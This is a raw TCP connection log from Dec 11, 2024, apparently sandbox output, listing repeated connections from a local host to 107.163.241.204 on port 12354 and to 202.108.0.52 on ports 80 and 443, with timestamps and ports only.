Dec 11, 2024 16:28:36.592360020 CET	50872	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.593003988 CET	12354	50872	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.596188068 CET	50886	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.621053934 CET	12354	50874	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.621126890 CET	50874	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.621289968 CET	50874	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.632960081 CET	12354	50874	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.708156109 CET	50895	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.714534044 CET	12354	50872	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.714643002 CET	12354	50872	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.718380928 CET	12354	50886	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.720206022 CET	50886	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.720206022 CET	50886	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.741955042 CET	12354	50874	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.742063046 CET	12354	50874	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.827490091 CET	12354	50895	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.827575922 CET	50895	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.827725887 CET	50895	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.839584112 CET	12354	50886	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.949425936 CET	12354	50895	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.949789047 CET	12354	50895	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:36.954694986 CET	50907	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:36.986623049 CET	50853	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:36.986733913 CET	50886	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.067189932 CET	50914	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.073991060 CET	12354	50907	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.074047089 CET	50907	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.075411081 CET	80	50853	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:37.075455904 CET	50853	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:37.097259045 CET	50916	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.099795103 CET	50918	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:37.186464071 CET	12354	50914	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.186541080 CET	50914	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.186728954 CET	50914	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.216542959 CET	12354	50916	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.216636896 CET	50916	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.216780901 CET	50916	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.219502926 CET	80	50918	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:37.219571114 CET	50918	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:37.219770908 CET	50918	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:37.308104992 CET	12354	50914	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.308131933 CET	12354	50914	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.308243036 CET	50914	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.308361053 CET	50914	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.308757067 CET	50930	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.340229034 CET	12354	50916	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.343106031 CET	80	50918	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:37.358398914 CET	12354	50916	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.359328985 CET	80	50918	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:37.426466942 CET	50939	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.428312063 CET	12354	50914	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.428355932 CET	12354	50914	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.428657055 CET	12354	50930	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.428742886 CET	50930	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.428847075 CET	50930	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.473262072 CET	50943	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:37.546729088 CET	12354	50939	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.546854973 CET	50939	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.549581051 CET	12354	50930	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.549731970 CET	12354	50930	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.558665037 CET	50939	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.559883118 CET	50948	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.592636108 CET	80	50943	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:37.592701912 CET	50943	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:37.592849970 CET	50943	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:37.666425943 CET	12354	50939	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.666498899 CET	50939	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.666563034 CET	50939	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.678055048 CET	12354	50939	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.679450989 CET	12354	50948	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.679729939 CET	50948	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.685645103 CET	50948	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.689771891 CET	50957	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.712133884 CET	80	50943	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:37.712393999 CET	80	50943	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:37.785974026 CET	12354	50939	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.785984993 CET	12354	50939	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.799345970 CET	12354	50948	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.799473047 CET	50948	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.799473047 CET	50948	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.799853086 CET	50965	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.804960012 CET	12354	50948	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.809201956 CET	12354	50957	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.809257984 CET	50957	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.809412003 CET	50957	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.838573933 CET	50966	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:37.919334888 CET	12354	50948	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.919344902 CET	12354	50948	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.919513941 CET	12354	50965	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.919614077 CET	50965	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.919811010 CET	50965	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:37.928739071 CET	12354	50957	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:37.959144115 CET	80	50966	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:37.959228992 CET	50966	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:37.959475040 CET	50966	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:38.039005995 CET	12354	50965	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.039155960 CET	12354	50965	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.039793015 CET	50972	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.079345942 CET	80	50966	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:38.079356909 CET	80	50966	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:38.159068108 CET	12354	50972	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.159272909 CET	50972	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.159272909 CET	50972	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.200272083 CET	50983	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:38.278731108 CET	12354	50972	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.278958082 CET	12354	50972	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.279700041 CET	50986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.319475889 CET	80	50983	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:38.322545052 CET	50983	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:38.322704077 CET	50983	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:38.398993015 CET	12354	50986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.400111914 CET	50986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.415707111 CET	50986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.441972017 CET	80	50983	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:38.442092896 CET	80	50983	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:38.519783974 CET	12354	50986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.520176888 CET	50986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.535029888 CET	12354	50986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.565954924 CET	50986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.566421032 CET	50997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.639672041 CET	12354	50986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.685250044 CET	12354	50986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.685673952 CET	12354	50997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.686254025 CET	50997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.688314915 CET	50997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.690053940 CET	50999	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:38.806818008 CET	12354	50997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.807192087 CET	50997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.810386896 CET	12354	50997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.810399055 CET	80	50999	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:38.810539007 CET	50999	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:38.879148960 CET	50997	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:38.919280052 CET	50999	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:38.926733017 CET	12354	50997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:38.930356979 CET	80	50999	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:38.932735920 CET	50999	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:38.999640942 CET	12354	50997	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:39.039338112 CET	80	50999	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:39.052216053 CET	80	50999	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:39.141259909 CET	51001	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:39.178992987 CET	51003	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:39.262069941 CET	12354	51001	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:39.262130022 CET	51001	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:39.262300014 CET	51001	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:39.298223972 CET	80	51003	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:39.298305035 CET	51003	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:39.300004005 CET	51003	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:39.382693052 CET	12354	51001	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:39.419466019 CET	80	51003	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:39.925565958 CET	12354	50957	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:39.925616026 CET	50957	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:39.928687096 CET	50957	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:39.929836035 CET	51047	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:40.048016071 CET	12354	50957	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:40.049084902 CET	12354	51047	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:40.049144983 CET	51047	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:40.051680088 CET	51047	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:40.168596983 CET	12354	51047	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:40.168644905 CET	51047	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:40.168715954 CET	51047	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:40.169223070 CET	51060	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:40.170996904 CET	12354	51047	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:40.288041115 CET	12354	51047	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:40.288053989 CET	12354	51047	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:40.288506985 CET	12354	51060	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:40.288698912 CET	51060	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:40.288729906 CET	51060	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:40.408715963 CET	12354	51060	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:40.860368013 CET	80	51003	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:40.860440969 CET	51003	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:40.865605116 CET	51103	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:40.865652084 CET	443	51103	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:40.865734100 CET	51103	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:40.866225958 CET	51103	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:40.866239071 CET	443	51103	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:41.063997984 CET	51001	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.064110994 CET	51103	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:41.064152002 CET	51060	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.065730095 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.185277939 CET	12354	51116	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:41.186073065 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.186445951 CET	51123	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.187117100 CET	51003	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:41.187350035 CET	51124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:41.187542915 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.307297945 CET	12354	51123	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:41.308185101 CET	80	51124	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:41.308274984 CET	80	51003	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:41.308293104 CET	51124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:41.308330059 CET	51003	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:41.308331966 CET	51123	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.308337927 CET	12354	51116	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:41.325213909 CET	51123	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.325330973 CET	51124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:41.428256035 CET	12354	51123	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:41.432322979 CET	51123	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.444936037 CET	12354	51123	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:41.444946051 CET	80	51124	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:41.508588076 CET	51123	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.509248018 CET	51129	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.551651001 CET	12354	51123	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:41.628011942 CET	12354	51123	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:41.628598928 CET	12354	51129	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:41.632253885 CET	51129	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.857654095 CET	51129	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:41.977184057 CET	12354	51129	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:42.886111975 CET	80	51124	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:42.886833906 CET	51124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:42.889576912 CET	51161	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:42.889605045 CET	443	51161	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:42.891549110 CET	51161	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:42.892136097 CET	51161	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:42.892152071 CET	443	51161	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:43.134583950 CET	443	51161	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:43.153918982 CET	51174	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:43.153954029 CET	443	51174	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:43.154011011 CET	51174	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:43.154258013 CET	51174	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:43.154270887 CET	443	51174	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:43.303020000 CET	12354	51116	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.303081989 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.303165913 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.303591967 CET	51183	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.422808886 CET	12354	51116	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.423144102 CET	12354	51183	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.423228025 CET	51183	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.423700094 CET	51183	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.543147087 CET	12354	51183	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.543159008 CET	12354	51183	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.543207884 CET	51183	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.543277979 CET	51183	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.543595076 CET	51198	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.663146019 CET	12354	51183	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.663158894 CET	12354	51183	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.663172007 CET	12354	51198	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.663266897 CET	51198	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.663661957 CET	51198	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.738666058 CET	12354	51129	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.738729954 CET	51129	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.738790989 CET	51129	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.739207983 CET	51212	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.783090115 CET	12354	51198	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.783180952 CET	12354	51198	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.848994970 CET	51219	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.858225107 CET	12354	51129	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.858740091 CET	12354	51212	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.858989954 CET	51212	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.858989954 CET	51212	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.968353987 CET	12354	51219	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.968421936 CET	51219	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.968576908 CET	51219	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:43.978310108 CET	12354	51212	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.978555918 CET	12354	51212	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:43.994303942 CET	51228	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.088839054 CET	12354	51219	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.089076042 CET	12354	51219	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.113500118 CET	51237	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.113724947 CET	12354	51228	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.113799095 CET	51228	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.115643024 CET	51228	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.232846975 CET	12354	51237	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.233016014 CET	51237	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.233211994 CET	51237	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.233607054 CET	12354	51228	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.233704090 CET	51228	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.233704090 CET	51228	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.234112978 CET	51243	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.234972954 CET	12354	51228	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.352477074 CET	12354	51237	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.352682114 CET	12354	51237	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.353121042 CET	12354	51228	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.353130102 CET	12354	51228	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.353168011 CET	51252	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.353427887 CET	12354	51243	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.353494883 CET	51243	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.353616953 CET	51243	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.472649097 CET	12354	51252	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.472951889 CET	12354	51243	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.473130941 CET	12354	51243	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.474365950 CET	51252	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.474365950 CET	51252	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.475811005 CET	51261	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.596559048 CET	12354	51252	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.597806931 CET	12354	51261	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.597866058 CET	51261	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.597997904 CET	51261	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:44.717345953 CET	12354	51261	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:44.845623016 CET	443	51174	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:44.845735073 CET	51174	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:44.846396923 CET	443	51174	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:44.847342014 CET	51174	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:44.865917921 CET	51174	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:44.865936995 CET	443	51174	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:44.866317987 CET	443	51174	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:44.866694927 CET	51174	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:44.868228912 CET	51174	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:44.915333033 CET	443	51174	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:45.079463005 CET	51261	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.079476118 CET	51252	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.080184937 CET	51174	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:45.080689907 CET	51298	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.200747013 CET	12354	51298	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.200838089 CET	51298	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.211158037 CET	51298	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.245610952 CET	51305	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.249185085 CET	51124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:45.249447107 CET	51307	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:45.320394993 CET	12354	51298	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.320600986 CET	51298	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.320600986 CET	51298	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.320936918 CET	51312	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.330435991 CET	12354	51298	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.365021944 CET	12354	51305	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.365103006 CET	51305	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.365539074 CET	51305	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.368930101 CET	80	51124	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:45.368940115 CET	80	51307	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:45.368979931 CET	51124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:45.369239092 CET	51307	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:45.369240046 CET	51307	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:45.441236973 CET	12354	51298	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.441247940 CET	12354	51298	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.441533089 CET	12354	51312	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.441608906 CET	51312	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.441914082 CET	51312	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.484921932 CET	12354	51305	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.488914967 CET	80	51307	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:45.489095926 CET	80	51307	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:45.561239004 CET	12354	51312	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.561357975 CET	12354	51312	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.564744949 CET	51327	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.598119020 CET	51331	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:45.684127092 CET	12354	51327	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.684237003 CET	51327	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:45.684472084 CET	51327	12354	192.168.2.8	107.163.241.204
